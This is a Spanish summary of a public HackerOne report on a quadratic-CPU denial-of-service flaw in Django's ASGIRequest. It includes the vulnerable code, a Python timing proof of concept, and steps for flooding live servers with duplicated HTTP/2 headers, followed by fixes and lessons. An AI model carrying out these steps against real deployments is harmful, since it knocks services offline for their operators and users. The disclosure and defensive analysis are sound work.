Reports
MEDIA[DENEGACIÓN DE SERVICIO]#3426417

Django: cabeceras repetidas en ASGIRequest disparan un consumo de CPU cuadrático y bloquean los workers ASGI

Al construir META, ASGIRequest concatenaba cada cabecera repetida copiando todo el valor acumulado. Una sola petición HTTP/2 con miles de cabeceras duplicadas costaba segundos de CPU antes de llegar a la vista.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El fallo estaba en django.core.handlers.asgi.ASGIRequest, la clase que convierte una petición ASGI en el objeto request de Django. Al rellenar el diccionario META, recorre la lista scope["headers"] y, cuando una cabecera aparece más de una vez (algo legal en HTTP/2 y HTTP/3), une el valor nuevo con el anterior mediante concatenación de cadenas:

        for name, value in self.scope.get("headers", []):
            name = name.decode("latin1")
            if name == "content-length":
                corrected_name = "CONTENT_LENGTH"
            elif name == "content-type":
                corrected_name = "CONTENT_TYPE"
            else:
                corrected_name = "HTTP_%s" % name.upper().replace("-", "_")
            value = value.decode("latin1")
            if corrected_name == "HTTP_COOKIE":
                value = value.rstrip("; ")
                if "HTTP_COOKIE" in self.META:
                    value = self.META[corrected_name] + "; " + value
            elif corrected_name in self.META:
                value = self.META[corrected_name] + "," + value
            self.META[corrected_name] = value

En Python las cadenas son inmutables, así que cada existente + "," + nuevo crea una cadena nueva y copia todo lo acumulado hasta ese momento. Con una cabecera repetida n veces el bucle copia del orden de 1 + 2 + … + n fragmentos, es decir, trabajo cuadrático (Θ(n²)) para una entrada lineal. Y todo ocurre en el constructor de la petición, antes de que se ejecute ningún middleware ni vista. No había límite al número de repeticiones por nombre de cabecera.

Afecta a cualquier despliegue de Django servido por ASGI (por ejemplo, gunicorn con uvicorn, o Daphne) y no requiere ninguna configuración especial.

Pasos de reproducción

El investigador midió el coste directamente sobre la clase, sin servidor de por medio:

  1. Preparar un entorno con el código de Django del repositorio y configurarlo de forma mínima.
  2. Construir objetos ASGIRequest con un scope que repite la cabecera cookie n veces, cada copia de unos 128 bytes y sin cuerpo.
  3. Cronometrar cuánto tarda el constructor para distintos valores de n.
import sys, time
from io import BytesIO

sys.path.insert(0, "/django-poc")
sys.path.insert(0, "/django-poc/django")
import asgiref.sync

class ThreadSensitiveContext:
    async def __aenter__(self): return self
    async def __aexit__(self, exc_type, exc, tb): return False

asgiref.sync.ThreadSensitiveContext = ThreadSensitiveContext

from django.conf import settings
if not settings.configured:
    settings.configure(DEBUG=False, SECRET_KEY="x", ROOT_URLCONF=__name__,
                       ALLOWED_HOSTS=["*"], USE_TZ=True)

import django
django.setup()
from django.core.handlers.asgi import ASGIRequest

def bench(n, header_len=128):
    scope = {
        "type": "http",
        "scheme": "http",
        "path": "/",
        "method": "GET",
        "headers": [(b"cookie", b"a=1" * (header_len // 4)) for _ in range(n)],
        "query_string": b"",
    }
    start = time.perf_counter()
    ASGIRequest(scope, BytesIO(b""))
    return time.perf_counter() - start

for n in (2_000, 4_000, 8_000, 16_000):
    print(f"{n} headers -> {bench(n):.6f}s")

Resultado obtenido en un equipo con chip M3:

2000 headers -> 0.015708s
4000 headers -> 0.066771s
8000 headers -> 0.233624s
16000 headers -> 1.131225s

Cada vez que se duplica el número de cabeceras, el tiempo se multiplica aproximadamente por cuatro: la firma del crecimiento cuadrático. El total de cabeceras rondaba los 2 MB y el cuerpo estaba vacío.

Contra un servidor real, el escenario descrito es:

  1. Abrir una conexión HTTP/2 contra la aplicación Django desplegada con ASGI.
  2. Enviar un GET con una cabecera (la cookie u otra cualquiera) duplicada miles de veces, con valores cortos (menos de 128 bytes) y sin cuerpo.
  3. ASGIRequest concatena cada copia en META y consume CPU antes de llegar a middleware o vistas.
  4. Repetir en varias conexiones en paralelo para mantener ocupados todos los procesos worker.

Impacto

  • Una única petición HTTP/2 con una cabecera corta repetida entre 8.000 y 16.000 veces consume desde cientos de milisegundos hasta segundos de CPU solo en construir el objeto de la petición.
  • Con unas pocas conexiones simultáneas, un atacante puede mantener saturados los workers ASGI (uvicorn, Daphne, etc.) e impedir que se atienda al tráfico legítimo.
  • El ataque respeta los límites que Django documenta en su política de seguridad (cada cabecera por debajo de 8 KB, cuerpo por debajo de 2,5 MB), por lo que entra en el alcance del programa.

Remediación

El reporte figura como resuelto en HackerOne, pero no detalla el parche aplicado. Lo que propuso el investigador:

  1. Acumular los valores de cada cabecera repetida en una lista (por ejemplo, con defaultdict(list)) y unirlos una sola vez al final con ",".join(valores), lo que deja el coste en O(n).
  2. Hacer lo mismo con las cookies usando "; ".join(...).
  3. Opcionalmente, fijar un máximo de repeticiones por nombre de cabecera para cortar pronto las peticiones absurdas.

Qué aprender de este caso

  • Busca bucles que vayan "pegando" texto con + o += sobre un valor que crece con la entrada del cliente (cabeceras repetidas, parámetros duplicados, fragmentos de un multipart): si cada vuelta copia todo lo anterior, el coste es cuadrático aunque cada fragmento sea pequeño.
  • HTTP/2 y HTTP/3 permiten repetir la misma cabecera muchas veces en una sola petición; los adaptadores que normalizan cabeceras a un diccionario (como META en ASGI o WSGI) son un buen sitio para probar con miles de duplicados y medir el tiempo de respuesta.
  • Para combinar valores repetidos, junta primero en una lista y haz un único join al final; y limita cuántas veces se acepta un mismo nombre de cabecera antes de rechazar la petición.
  • Los límites por tamaño de cada cabecera no protegen frente a este patrón: el problema es el número de repeticiones, así que conviene limitar también la cantidad total de cabeceras en el servidor o proxy que hay delante.